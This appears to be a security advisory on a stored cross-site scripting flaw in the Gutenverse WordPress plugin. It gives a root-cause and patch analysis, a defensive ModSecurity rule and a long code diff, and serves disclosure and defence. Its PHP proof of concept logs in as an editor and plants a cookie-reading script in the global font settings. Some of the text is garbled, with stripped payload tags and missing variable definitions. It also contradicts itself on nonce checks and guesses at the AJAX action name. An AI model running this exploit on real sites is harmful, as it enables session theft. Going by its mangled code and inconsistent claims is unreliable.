“`json
{
“analysis”: “Atomic Edge analysis of CVE-2026-12399: Gutenverse plugin for WordPress versions 3.8.0 and below contains a Stored Cross-Site Scripting vulnerability in the global font settings. Authenticated attackers with editor-level access can inject arbitrary JavaScript code through the ‘fonts[].font.font.value’ parameter. This occurs because the plugin does not properly sanitize font family values before storing and later rendering them in CSS output. The vulnerability requires a multi-site installation or an environment where ‘unfiltered_html’ capability has been disabled for editors.nnRoot Cause: The vulnerability originates in the global font handling within ‘lib/framework/includes/class-global-variable.php’ and ‘lib/framework/helper.php’. In the vulnerable version, the ‘set_global_variable()’ method (lines 66-84 in class-global-variable.php) stores font configuration data, including the ‘fonts[*][font][value]’ field, directly into the database without sanitization. When rendering the frontend, the ‘gutenverse_global_font_style_generator()’ function in helper.php (line 1436-1461) retrieves this stored value and outputs it directly into CSS using the pattern: ‘”‘ . $thefont[‘value’] . ‘;”‘. This output appears within inline CSS style blocks. The ‘font’ parameter accepts arbitrary strings, with no sanitization between storage and output rendering. The patched diff shows the addition of ‘gutenverse_sanitize_font_family_css_value()’ which applies ‘sanitize_text_field()’ and removes dangerous characters like ”, ‘”‘, ‘;’, ‘{‘, ‘}’, and backslashes. Additionally, the ‘sanitize_global_fonts()’ method in class-global-variable.php was added to sanitize font ids, names, types, and weights before they enter the database.nnExploitation: An attacker with editor-level privileges accesses the Gutenverse global settings via the admin dashboard at ‘/wp-admin/admin.php?page=gutenverse-settings’ or the site editor global styles panel. The attacker submits a POST request to the AJAX handler responsible for saving global variables. The specific parameter is ‘fonts[0][font][value]’ within the global variable data payload. The attacker injects a payload such as: ‘Arialalert(document.cookie)’ or uses CSS expression-based XSS payloads like: ‘Arial;}‘. Because the plugin outputs this value directly into CSS without escaping, the injected script executes when any user loads a page that uses the affected global font setting. The attack does not require nonce validation per the description, making the AJAX endpoint the primary vector.nnPatch Analysis: The patch introduces two main sanitization mechanisms. First, in ‘lib/framework/helper.php’, the new function ‘gutenverse_sanitize_font_family_css_value()’ sanitizes the font family value before CSS output. It runs sanitize_text_field() and strips control characters, HTML tags, and CSS structural characters (“‘;{}\) using regex ‘/[\x00-\x1F\x7F”\’;{}\\\\\\]/u’. Second, in ‘lib/framework/includes/class-global-variable.php’, the ‘set_global_variable()’ method now calls ‘sanitize_global_fonts()’ before storing font data. This method (lines 303+ in the diff) validates fonts against allowed types, weights, and dimensions, and sanitizes font names and values via ‘sanitize_font_string()’ (which calls ‘sanitize_text_field()’). The patch also adds a check in ‘gutenverse_global_font_style_generator()’ to skip fonts where the sanitized value becomes empty. Before the patch, font values flowed unsanitized from user input to database to CSS output. After the patch, input and output are both sanitized, preventing script injection.nnImpact: Successful exploitation allows an attacker to inject arbitrary JavaScript that executes in the context of any user viewing pages that load the compromised global font. This enables session hijacking, credential theft, redirection to malicious sites, defacement, or the creation of admin-level users. Since editors can perform this attack without the ‘unfiltered_html’ capability on multi-site installations, it poses a significant risk to site integrity. The attack requires no social engineering and persists until the malicious font entry is removed from the global settings.”,
“poc_php”: “// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-12399 – Gutenverse <= 3.8.0 – Authenticated (Editor+) Stored Cross-Site Scripting via 'fonts[].font.font.value' Parameternn $username,n ‘pwd’ => $password,n ‘rememberme’ => ‘forever’,n ‘wp-submit’ => ‘Log In’n);nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $login_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_COOKIEJAR, ‘/tmp/cookies_12399.txt’);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);n$response = curl_exec($ch);ncurl_close($ch);nn// Step 2: Fetch the Gutenverse settings page to get the noncen$settings_url = $target_url . ‘/wp-admin/admin.php?page=gutenverse-settings’;n$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $settings_url);ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘/tmp/cookies_12399.txt’);ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);n$response = curl_exec($ch);ncurl_close($ch);nn// Extract the nonce for the global variable save actionnpreg_match(‘/var gutenverse_data =.*?”nonce”:”([a-f0-9]+)”/s’, $response, $matches);n$nonce = isset($matches[1]) ? $matches[1] : ‘test_nonce_if_not_found’;necho “[+] Nonce: $nonce\n”;nn// Step 3: Send the XSS payload via AJAXn$ajax_url = $target_url . ‘/wp-admin/admin-ajax.php’;n$ajax_action = ‘gutenverse_save_global_variable’; // Common AJAX action; adjust if differentnn$payload = ‘Arialalert(document.cookie)’;n$global_variable_data = array(n ‘fonts’ => array(n array(n ‘id’ => ‘malicious-font-1’,n ‘name’ => ‘Malicious Font’,n ‘font’ => array(n ‘font’ => array(n ‘value’ => $payload,n ‘type’ => ‘custom’,n ‘label’ => ‘Malicious’n ),n ‘type’ => ‘system’,n ‘size’ => array(n ‘Desktop’ => array(n ‘unit’ => ‘px’,n ‘size’ => ’16’n )n )n )n )n )n);nn$post_data = array(n ‘action’ => $ajax_action,n ‘nonce’ => $nonce,n ‘global_variable’ => json_encode($global_variable_data)n);nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $ajax_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘/tmp/cookies_12399.txt’);ncurl_setopt($ch, CURLOPT_REFERER, $settings_url);ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);n$response = curl_exec($ch);n$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);ncurl_close($ch);nnecho “[+] HTTP Response Code: $http_code\n”;necho “[+] Response: $response\n”;necho “[+] XSS payload stored successfully. Visit any frontend page to trigger.”;n?>n”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-12399n# Blocks Stored XSS attempts via fonts[].font.font.value parameter in Gutenverse global font settingsn# Targets the AJAX save action for global variables with injected CSS/HTML payloadsnSecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” \n “id:20261994,phase:2,deny,status:403,chain,msg:’CVE-2026-12399 Gutenverse Global Font Stored XSS (AJAX save)’,severity:’CRITICAL’,tag:’CVE-2026-12399′,tag:’wordpress’,tag:’gutenverse’,tag:’xss'”n SecRule ARGS_POST:action “@streq gutenverse_save_global_variable” \n “chain”n SecRule ARGS_POST:global_variable “@rx ]*script|javascript:|onerror=|onload=|onclick=|onmouseover|alert\(|prompt\(|confirm\(” \n “t:urlDecodeUni,t:lowercase”n”
}
“`

Published : June 26, 2026
CVE-2026-12399: Gutenverse <= 3.8.0 Authenticated (Editor+) Stored Cross-Site Scripting via 'fonts[].font.font.value' Parameter PoC, Patch Analysis & Rule
CVE ID
CVE-2026-12399
Plugin
gutenverse
Severity
Medium
(CVSS 4.4)
CWE
79
Vulnerable Version
3.8.0
Patched Version
3.8.1
Disclosed
June 25, 2026
Analysis Overview
Differential between vulnerable and patched code
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
Code Diff
--- a/gutenverse/gutenverse.php
+++ b/gutenverse/gutenverse.php
@@ -4,7 +4,7 @@
* Description: Collection of easy to use and customizable blocks for WordPress Block Editor. Build a great website using block provided with Gutenverse.
* Plugin URI: https://gutenverse.com/
* Author: Jegstudio
- * Version: 3.8.0
+ * Version: 3.8.1
* Author URI: https://jegtheme.com/
* License: GPLv3
* Text Domain: gutenverse
@@ -15,7 +15,7 @@
use GutenverseGutenverse;
defined( 'GUTENVERSE' ) || define( 'GUTENVERSE', 'gutenverse' );
-defined( 'GUTENVERSE_VERSION' ) || define( 'GUTENVERSE_VERSION', '3.8.0' );
+defined( 'GUTENVERSE_VERSION' ) || define( 'GUTENVERSE_VERSION', '3.8.1' );
defined( 'GUTENVERSE_NOTICE_VERSION' ) || define( 'GUTENVERSE_NOTICE_VERSION', '3.5.0' );
defined( 'GUTENVERSE_NAME' ) || define( 'GUTENVERSE_NAME', 'Gutenverse' );
defined( 'GUTENVERSE_URL' ) || define( 'GUTENVERSE_URL', plugins_url( GUTENVERSE ) );
--- a/gutenverse/includes/block/class-fun-fact.php
+++ b/gutenverse/includes/block/class-fun-fact.php
@@ -68,7 +68,6 @@
* @return string
*/
public function render_content() {
- $content_display = isset( $this->attributes['contentDisplay'] ) ? $this->attributes['contentDisplay'] : 'block';
$prefix = isset( $this->attributes['prefix'] ) ? $this->attributes['prefix'] : '$';
$suffix = isset( $this->attributes['suffix'] ) ? $this->attributes['suffix'] : 'M';
$number = isset( $this->attributes['number'] ) ? $this->attributes['number'] : '';
@@ -87,12 +86,10 @@
$header_html = $this->render_header_content();
- $output = '<div class="fun-fact-inner">';
- if ( $top_icon_content ) {
- $output .= $header_html;
- }
+ $output = '<div class="fun-fact-inner">';
+ $output .= $header_html;
- $output .= '<div class="content ' . esc_attr( $content_display ) . '">';
+ $output .= '<div class="content">';
$output .= '<div class="number-wrapper">';
$output .= '<span class="prefix">' . esc_html( $prefix ) . '</span>';
$number_spaces_attr = ( null !== $number_right_space ) ? ' data-number-spaces="' . esc_attr( wp_json_encode( $number_right_space ) ) . '"' : '';
@@ -107,9 +104,6 @@
$output .= '<' . $tag . ' class="title">' . wp_kses_post( $title ) . '</' . $tag . '>';
$output .= '</div>';
- if ( $bottom_icon_content ) {
- $output .= $header_html;
- }
$output .= '</div>';
if ( $hover_bottom ) {
--- a/gutenverse/includes/style/class-fun-fact.php
+++ b/gutenverse/includes/style/class-fun-fact.php
@@ -56,6 +56,38 @@
* Generate style base on attribute.
*/
public function generate() {
+ if ( isset( $this->attrs['iconPosition'] ) ) {
+ $this->inject_style(
+ array(
+ 'selector' => ".{$this->element_id}.guten-fun-fact .fun-fact-inner",
+ 'property' => function ( $value ) {
+ if ( 'left' === $value || 'right' === $value ) {
+ return 'flex-direction: row;';
+ }
+ return 'flex-direction: column;';
+ },
+ 'value' => $this->attrs['iconPosition'],
+ 'device_control' => true,
+ )
+ );
+ $this->inject_style(
+ array(
+ 'selector' => ".{$this->element_id}.guten-fun-fact .icon-box",
+ 'property' => function ( $value ) {
+ if ( 'left' === $value || 'top' === $value ) {
+ return 'order: 0;';
+ }
+ if ( 'right' === $value || 'bottom' === $value ) {
+ return 'order: 2;';
+ }
+ return '';
+ },
+ 'value' => $this->attrs['iconPosition'],
+ 'device_control' => true,
+ )
+ );
+ }
+
if ( isset( $this->attrs['alignButtons'] ) ) {
$this->inject_style(
array(
@@ -65,6 +97,38 @@
},
'value' => $this->attrs['alignButtons'],
'device_control' => true,
+ )
+ );
+ $this->inject_style(
+ array(
+ 'selector' => ".{$this->element_id} .fun-fact-inner",
+ 'property' => function ( $value ) {
+ if ( 'left' === $value ) {
+ return 'justify-content: start;';
+ }
+ if ( 'right' === $value ) {
+ return 'justify-content: end;';
+ }
+ return "justify-content: {$value};";
+ },
+ 'value' => $this->attrs['alignButtons'],
+ 'device_control' => true,
+ )
+ );
+ $this->inject_style(
+ array(
+ 'selector' => ".{$this->element_id} .fun-fact-inner",
+ 'property' => function ( $value ) {
+ if ( 'left' === $value ) {
+ return 'align-items: start;';
+ }
+ if ( 'right' === $value ) {
+ return 'align-items: end;';
+ }
+ return "align-items: {$value};";
+ },
+ 'value' => $this->attrs['alignButtons'],
+ 'device_control' => true,
)
);
}
--- a/gutenverse/includes/style/class-taxonomy-list.php
+++ b/gutenverse/includes/style/class-taxonomy-list.php
@@ -280,7 +280,7 @@
array(
'selector' => ".{$this->element_id} .taxonomy-list-wrapper .taxonomy-list-item",
'property' => function ( $value, $device ) {
- if ( 'custom' === $this->attrs['itemWidth'][ $device ] ) {
+ if ( isset( $this->attrs['itemWidth'][ $device ] ) && 'custom' === $this->attrs['itemWidth'][ $device ] ) {
return $this->handle_unit_point( $value, 'width' );
}
},
--- a/gutenverse/lib/dependencies/blocks.asset.php
+++ b/gutenverse/lib/dependencies/blocks.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('gutenverse-dep-animejs-script', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-keycodes', 'wp-server-side-render', 'wp-url'), 'version' => '2fea77f51838adedca58');
+<?php return array('dependencies' => array('gutenverse-dep-animejs-script', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-keycodes', 'wp-server-side-render', 'wp-url'), 'version' => 'cfb7aaabd3bbb9da7b00');
--- a/gutenverse/lib/framework/bootstrap.php
+++ b/gutenverse/lib/framework/bootstrap.php
@@ -15,7 +15,7 @@
return;
}
-defined( 'GUTENVERSE_FRAMEWORK_VERSION' ) || define( 'GUTENVERSE_FRAMEWORK_VERSION', '2.8.0' );
+defined( 'GUTENVERSE_FRAMEWORK_VERSION' ) || define( 'GUTENVERSE_FRAMEWORK_VERSION', '2.8.1' );
defined( 'GUTENVERSE_FRAMEWORK_ASSETS_VERSION' ) || define( 'GUTENVERSE_FRAMEWORK_ASSETS_VERSION', '2.1.0' );
defined( 'GUTENVERSE_FRAMEWORK_DIR' ) || define( 'GUTENVERSE_FRAMEWORK_DIR', __DIR__ );
defined( 'GUTENVERSE_FRAMEWORK_CLASS_DIR' ) || define( 'GUTENVERSE_FRAMEWORK_CLASS_DIR', GUTENVERSE_FRAMEWORK_DIR . '/includes' );
--- a/gutenverse/lib/framework/helper.php
+++ b/gutenverse/lib/framework/helper.php
@@ -1414,6 +1414,27 @@
}
}
+if ( ! function_exists( 'gutenverse_sanitize_font_family_css_value' ) ) {
+ /**
+ * Sanitize a font family string before using it in CSS output.
+ *
+ * @param mixed $value Font family value.
+ *
+ * @return string
+ */
+ function gutenverse_sanitize_font_family_css_value( $value ) {
+ if ( ! is_scalar( $value ) ) {
+ return '';
+ }
+
+ $value = sanitize_text_field( (string) $value );
+ $value = preg_replace( '/[x00-x1Fx7F<>"';{}\\]/u', '', $value );
+ $value = preg_replace( '/[^p{L}p{N} _-.,&()]/u', '', $value );
+
+ return trim( $value );
+ }
+}
+
if ( ! function_exists( 'gutenverse_global_font_style_generator' ) ) {
/**
* Font Style Generator.
@@ -1436,8 +1457,13 @@
if ( isset( $font['font'] ) ) {
$thefont = $font['font'];
if ( $thefont ) {
+ $font_family = isset( $thefont['value'] ) ? gutenverse_sanitize_font_family_css_value( $thefont['value'] ) : '';
+ if ( '' === $font_family ) {
+ continue;
+ }
+
gutenverse_normal_appender(
- gutenverse_variable_font_name( $id, 'family' ) . ':"' . $thefont['value'] . '";',
+ gutenverse_variable_font_name( $id, 'family' ) . ':"' . $font_family . '";',
$variable_style
);
}
--- a/gutenverse/lib/framework/includes/block/class-block-abstract.php
+++ b/gutenverse/lib/framework/includes/block/class-block-abstract.php
@@ -242,11 +242,11 @@
}
if ( ! empty( $this->attributes ['animation']['type']['Tablet'] ) && 'none' !== $this->attributes ['animation']['type']['Tablet'] ) {
- $animation_classes .= "desktop-{$this->attributes ['animation']['type']['Tablet']} ";
+ $animation_classes .= "tablet-{$this->attributes ['animation']['type']['Tablet']} ";
}
if ( ! empty( $this->attributes ['animation']['type']['Mobile'] ) && 'none' !== $this->attributes ['animation']['type']['Mobile'] ) {
- $animation_classes .= "desktop-{$this->attributes ['animation']['type']['Mobile']} ";
+ $animation_classes .= "mobile-{$this->attributes ['animation']['type']['Mobile']} ";
}
return esc_attr( $animation_classes );
--- a/gutenverse/lib/framework/includes/block/class-column.php
+++ b/gutenverse/lib/framework/includes/block/class-column.php
@@ -150,49 +150,6 @@
}
/**
- * Render slideshow elements.
- *
- * @return string
- */
- private function render_slide_elements() {
- $background = isset( $this->attributes['background'] ) ? $this->attributes['background'] : array();
- $slide_image = isset( $background['slideImage'] ) ? $background['slideImage'] : array();
- $element_id = $this->get_element_id();
-
- if ( empty( $slide_image ) || ! is_array( $slide_image ) ) {
- return '';
- }
-
- $output = '<div class="bg-slideshow-container">';
- $output .= '<div class="bg-slideshow-item">';
-
- foreach ( $slide_image as $index => $image ) {
- $image_url = '';
- if ( isset( $image['image']['image'] ) && ! empty( $image['image']['image'] ) ) {
- $image_url = $image['image']['image'];
- }
-
- $slide_class = $element_id . '-slideshow-image slideshow-image';
- if ( 1 === $index ) {
- $slide_class .= ' current';
- } elseif ( 0 === $index ) {
- $slide_class .= ' previous';
- }
-
- $style_attr = ! empty( $image_url ) ? ' style="background-image: url(' . esc_url( $image_url ) . ')"' : '';
-
- $output .= '<div class="' . esc_attr( $element_id . '-child-slideshow slideshow-item-container item-' . $index ) . '">';
- $output .= '<div class="' . esc_attr( $slide_class ) . '"' . $style_attr . '></div>';
- $output .= '</div>';
- }
-
- $output .= '</div>';
- $output .= '</div>';
-
- return $output;
- }
-
- /**
* Render view in editor
*/
public function render_gutenberg() {
@@ -233,7 +190,7 @@
$is_align_sticky = $this->is_align_sticky_column( $section_vertical_align );
$is_can_sticky = $_is_sticky && $is_align_sticky;
$_is_bg_animated = $this->is_animation_active( $background_animated );
- $is_slideshow = isset( $background['slideImage'] ) && is_array( $background['slideImage'] ) && count( $background['slideImage'] ) > 0;
+ $is_slideshow = isset( $background['slideImage'] ) && is_array( $background['slideImage'] ) && count( $background['slideImage'] ) > 0 && ( isset( $background['type'] ) && $background['type'] === 'slide' );
$is_background_effect = ! empty( $background_effect ) && isset( $background_effect['type'] ) && 'none' !== $background_effect['type'];
$using_featured_image = ! empty( $background['useFeaturedImage'] ) && ( ! empty( $background['useFeaturedImage']['Desktop'] ) || ! empty( $background['useFeaturedImage']['Tablet'] ) || ! empty( $background['useFeaturedImage']['Mobile'] ) );
$cursor_effect_show = ! empty( $cursor_effect['show'] );
@@ -322,7 +279,7 @@
$output .= $this->render_guten_data( $data_id, $is_can_sticky, $_is_bg_animated, $is_slideshow );
// Slideshow elements.
- $slide_elements = $this->render_slide_elements();
+ $slide_elements = $is_slideshow ? apply_filters( 'gutenverse_background_slideshow', '', $attributes, $element_id ) : '';
if ( $is_can_sticky ) {
// Sticky wrapper layout.
--- a/gutenverse/lib/framework/includes/block/class-container.php
+++ b/gutenverse/lib/framework/includes/block/class-container.php
@@ -607,7 +607,7 @@
$html_tag = isset( $attributes['htmlTag'] ) ? $attributes['htmlTag'] : 'div';
$anchor = isset( $attributes['anchor'] ) ? $attributes['anchor'] : '';
- $is_slideshow = ! empty( $background['slideImage'] ) && is_array( $background['slideImage'] ) && count( $background['slideImage'] ) > 0;
+ $is_slideshow = ! empty( $background['slideImage'] ) && is_array( $background['slideImage'] ) && count( $background['slideImage'] ) > 0 && ( isset( $background['type'] ) && $background['type'] === 'slide' );
$is_bg_animated = $this->is_animation_active( $background_animated );
$is_bg_effect = ! empty( $background_effect ) && isset( $background_effect['type'] ) && 'none' !== $background_effect['type'];
$is_sticky = $this->is_sticky( $sticky );
@@ -737,14 +737,14 @@
}
// Background animated layer.
+ $slide_elements = $is_slideshow ? apply_filters( 'gutenverse_background_slideshow', '', $attributes, $element_id ) : '';
if ( $is_bg_animated ) {
- $slide_elements = $is_slideshow ? apply_filters( 'gutenverse_background_slideshow', '', $attributes, $element_id ) : '';
$output .= '<div class="guten-background-animated"><div class="animated-layer animated-' . esc_attr( $data_id ) . '">' . $slide_elements . '</div></div>';
}
// Slideshow (without bg animated).
if ( ! $is_bg_animated && $is_slideshow ) {
- $output .= apply_filters( 'gutenverse_background_slideshow', '', $attributes, $element_id );
+ $output .= $slide_elements;
}
// Background effect.
--- a/gutenverse/lib/framework/includes/block/class-section.php
+++ b/gutenverse/lib/framework/includes/block/class-section.php
@@ -149,49 +149,6 @@
}
/**
- * Render slideshow elements.
- *
- * @return string
- */
- private function render_slide_elements() {
- $background = isset( $this->attributes['background'] ) ? $this->attributes['background'] : array();
- $slide_image = isset( $background['slideImage'] ) ? $background['slideImage'] : array();
- $element_id = $this->get_element_id();
-
- if ( empty( $slide_image ) || ! is_array( $slide_image ) ) {
- return '';
- }
-
- $output = '<div class="bg-slideshow-container">';
- $output .= '<div class="bg-slideshow-item">';
-
- foreach ( $slide_image as $index => $image ) {
- $image_url = '';
- if ( isset( $image['image']['image'] ) && ! empty( $image['image']['image'] ) ) {
- $image_url = $image['image']['image'];
- }
-
- $slide_class = $element_id . '-slideshow-image slideshow-image';
- if ( 1 === $index ) {
- $slide_class .= ' current';
- } elseif ( 0 === $index ) {
- $slide_class .= ' previous';
- }
-
- $style_attr = ! empty( $image_url ) ? ' style="background-image: url(' . esc_url( $image_url ) . ')"' : '';
-
- $output .= '<div class="' . esc_attr( $element_id . '-child-slideshow slideshow-item-container item-' . $index ) . '">';
- $output .= '<div class="' . esc_attr( $slide_class ) . '"' . $style_attr . '></div>';
- $output .= '</div>';
- }
-
- $output .= '</div>';
- $output .= '</div>';
-
- return $output;
- }
-
- /**
* Render video background container.
*
* @return string
@@ -902,7 +859,7 @@
$_is_bg_animated = $this->is_animation_active( $background_animated );
$_is_top_div_animated = ! $this->is_empty_value( $top_div_animated ) && ( ! isset( $top_div_animated['type'] ) || 'none' !== $top_div_animated['type'] );
$_is_bottom_div_animated = ! $this->is_empty_value( $bottom_div_animated ) && ( ! isset( $bottom_div_animated['type'] ) || 'none' !== $bottom_div_animated['type'] );
- $is_slideshow = isset( $background['slideImage'] ) && is_array( $background['slideImage'] ) && count( $background['slideImage'] ) > 0;
+ $is_slideshow = isset( $background['slideImage'] ) && is_array( $background['slideImage'] ) && count( $background['slideImage'] ) > 0 && ( isset( $background['type'] ) && $background['type'] === 'slide' );
$is_background_effect = ! empty( $background_effect ) && isset( $background_effect['type'] ) && 'none' !== $background_effect['type'];
$using_featured_image = ! empty( $background['useFeaturedImage'] ) && ( ! empty( $background['useFeaturedImage']['Desktop'] ) || ! empty( $background['useFeaturedImage']['Tablet'] ) || ! empty( $background['useFeaturedImage']['Mobile'] ) );
$cursor_effect_show = ! empty( $cursor_effect['show'] );
@@ -1001,7 +958,7 @@
$output .= $this->render_guten_data( $data_id, $_is_sticky, $_is_bg_animated, $_is_top_div_animated, $_is_bottom_div_animated, $is_slideshow );
// Background animated layer.
- $slide_elements = $this->render_slide_elements();
+ $slide_elements = $is_slideshow ? apply_filters( 'gutenverse_background_slideshow', '', $attributes, $element_id ) : '';
if ( $_is_bg_animated ) {
$output .= '<div class="guten-background-animated"><div class="animated-layer animated-' . esc_attr( $data_id ) . '">';
if ( $is_slideshow ) {
--- a/gutenverse/lib/framework/includes/block/class-wrapper.php
+++ b/gutenverse/lib/framework/includes/block/class-wrapper.php
@@ -56,7 +56,7 @@
$background_animated = isset( $attributes['backgroundAnimated'] ) ? $attributes['backgroundAnimated'] : array();
$background_effect = isset( $attributes['backgroundEffect'] ) ? $attributes['backgroundEffect'] : array();
$background = isset( $attributes['background'] ) ? $attributes['background'] : array();
- $is_slideshow = ! empty( $background['slideImage'] ) && is_array( $background['slideImage'] ) && count( $background['slideImage'] ) > 0;
+ $is_slideshow = ! empty( $background['slideImage'] ) && is_array( $background['slideImage'] ) && count( $background['slideImage'] ) > 0 && ( isset( $background['type'] ) && $background['type'] === 'slide' );
$using_featured_image = ! empty( $background['useFeaturedImage'] ) && ( ! empty( $background['useFeaturedImage']['Desktop'] ) || ! empty( $background['useFeaturedImage']['Tablet'] ) || ! empty( $background['useFeaturedImage']['Mobile'] ) );
$is_bg_animated = $this->is_animation_active( $background_animated );
$is_background_effect = ! empty( $background_effect ) && isset( $background_effect['type'] ) && 'none' !== $background_effect['type'];
@@ -178,9 +178,11 @@
$output .= '<div class="guten-video-background" data-property="' . esc_attr( wp_json_encode( $video_data ) ) . '"></div>';
}
+ $slide_elements = $is_slideshow ? apply_filters( 'gutenverse_background_slideshow', '', $attributes, $element_id ) : '';
+
// Slideshow elements (when not bg animated).
if ( ! $is_bg_animated && $is_slideshow ) {
- $output .= $this->render_slideshow_elements( $background, $element_id );
+ $output .= $slide_elements;
}
// Background overlay.
@@ -200,7 +202,7 @@
if ( $is_bg_animated ) {
$output .= '<div class="guten-background-animated"><div class="animated-layer animated-' . esc_attr( $short_id ) . '">';
if ( $is_slideshow ) {
- $output .= $this->render_slideshow_elements( $background, $element_id );
+ $output .= $slide_elements;
}
$output .= '</div></div>';
}
@@ -233,48 +235,4 @@
return isset( $background_animated['actions'] ) && is_array( $background_animated['actions'] ) && count( $background_animated['actions'] ) > 0;
}
- /**
- * Render slideshow elements.
- *
- * @param array $background Background data.
- * @param string $element_id Element ID.
- * @return string
- */
- private function render_slideshow_elements( $background, $element_id ) {
- $slide_images = isset( $background['slideImage'] ) ? $background['slideImage'] : array();
-
- if ( empty( $slide_images ) || ! is_array( $slide_images ) ) {
- return '';
- }
-
- $output = '<div class="bg-slideshow-container">';
- $output .= '<div class="bg-slideshow-item">';
-
- foreach ( $slide_images as $index => $image ) {
- $image_url = '';
- if ( isset( $image['image']['image'] ) && ! empty( $image['image']['image'] ) ) {
- $image_url = $image['image']['image'];
- }
-
- $slide_class = '';
- if ( 1 === $index ) {
- $slide_class = ' current';
- } elseif ( 0 === $index ) {
- $slide_class = ' previous';
- }
-
- $output .= '<div class="' . esc_attr( $element_id ) . '-child-slideshow slideshow-item-container item-' . esc_attr( $index ) . '">';
- $output .= '<div class="' . esc_attr( $element_id ) . '-slideshow-image slideshow-image' . $slide_class . '"';
- if ( ! empty( $image_url ) ) {
- $output .= ' style="background-image: url(' . esc_url( $image_url ) . ')"';
- }
- $output .= '></div>';
- $output .= '</div>';
- }
-
- $output .= '</div>';
- $output .= '</div>';
-
- return $output;
- }
}
--- a/gutenverse/lib/framework/includes/class-dashboard.php
+++ b/gutenverse/lib/framework/includes/class-dashboard.php
@@ -637,6 +637,10 @@
'plugin_version' => '3.8.0',
'framework_version' => '2.8.0',
),
+ array(
+ 'plugin_version' => '3.8.1',
+ 'framework_version' => '2.8.1',
+ ),
),
'gutenverse-form' => array(
array(
@@ -835,6 +839,10 @@
'plugin_version' => '2.8.0',
'framework_version' => '2.8.0',
),
+ array(
+ 'plugin_version' => '2.8.1',
+ 'framework_version' => '2.8.1',
+ ),
),
'gutenverse-news' => array(
array(
@@ -893,6 +901,10 @@
'plugin_version' => '3.3.0',
'framework_version' => '2.8.0',
),
+ array(
+ 'plugin_version' => '3.3.1',
+ 'framework_version' => '2.8.1',
+ ),
),
'gutenverse-pro' => array(
array(
@@ -1035,6 +1047,10 @@
'plugin_version' => '2.7.1',
'framework_version' => '2.7.1',
),
+ array(
+ 'plugin_version' => '2.7.2',
+ 'framework_version' => '2.8.1',
+ ),
),
);
--- a/gutenverse/lib/framework/includes/class-frontend-generator.php
+++ b/gutenverse/lib/framework/includes/class-frontend-generator.php
@@ -377,6 +377,37 @@
}
}
}
+ if ( isset( $block['attrs']['background']['type'] ) && 'slide' === $block['attrs']['background']['type'] && ! empty( $block['attrs']['background']['sliderFallbackImageFetchpriorityHigh'] ) ) {
+ $bg = $block['attrs']['background'];
+ $image_urls = array();
+ $image = $bg['sliderFallbackImage'];
+
+ if ( isset( $image['Mobile']['image'] ) ) {
+ $image_urls[] = $image['Mobile']['image'];
+ } elseif ( isset( $image['Mobile']['url'] ) ) {
+ $image_urls[] = $image['Mobile']['url'];
+ } elseif ( isset( $image['Tablet']['image'] ) ) {
+ $image_urls[] = $image['Tablet']['image'];
+ } elseif ( isset( $image['Tablet']['url'] ) ) {
+ $image_urls[] = $image['Tablet']['url'];
+ } elseif ( isset( $image['image'] ) ) {
+ $image_urls[] = $image['image'];
+ } elseif ( isset( $image['url'] ) ) {
+ $image_urls[] = $image['url'];
+ } elseif ( isset( $image['Desktop']['image'] ) ) {
+ $image_urls[] = $image['Desktop']['image'];
+ } elseif ( isset( $image['Desktop']['url'] ) ) {
+ $image_urls[] = $image['Desktop']['url'];
+ }
+
+ if ( ! empty( $image_urls ) ) {
+ foreach ( $image_urls as $url ) {
+ if ( $url ) {
+ $this->preload_images[] = $url;
+ }
+ }
+ }
+ }
if ( ! empty( $block['attrs']['background']['fetchPriorityHigh'] ) ) {
$bg = $block['attrs']['background'];
$image_urls = array();
--- a/gutenverse/lib/framework/includes/class-global-variable.php
+++ b/gutenverse/lib/framework/includes/class-global-variable.php
@@ -16,6 +16,90 @@
*/
class Global_Variable {
/**
+ * Allowed font source types.
+ *
+ * @var string[]
+ */
+ private $allowed_font_types = array(
+ 'system',
+ 'google',
+ 'custom_font_pro',
+ );
+
+ /**
+ * Allowed typography weight values.
+ *
+ * @var string[]
+ */
+ private $allowed_font_weights = array(
+ 'default',
+ 'normal',
+ 'bold',
+ '100',
+ '200',
+ '300',
+ '400',
+ '500',
+ '600',
+ '700',
+ '800',
+ '900',
+ );
+
+ /**
+ * Allowed typography transform values.
+ *
+ * @var string[]
+ */
+ private $allowed_font_transforms = array(
+ 'default',
+ 'uppercase',
+ 'lowercase',
+ 'capitalize',
+ 'normal',
+ 'none',
+ );
+
+ /**
+ * Allowed typography style values.
+ *
+ * @var string[]
+ */
+ private $allowed_font_styles = array(
+ 'default',
+ 'normal',
+ 'italic',
+ 'oblique',
+ );
+
+ /**
+ * Allowed typography decoration values.
+ *
+ * @var string[]
+ */
+ private $allowed_font_decorations = array(
+ 'default',
+ 'underline',
+ 'overline',
+ 'line-through',
+ 'none',
+ );
+
+ /**
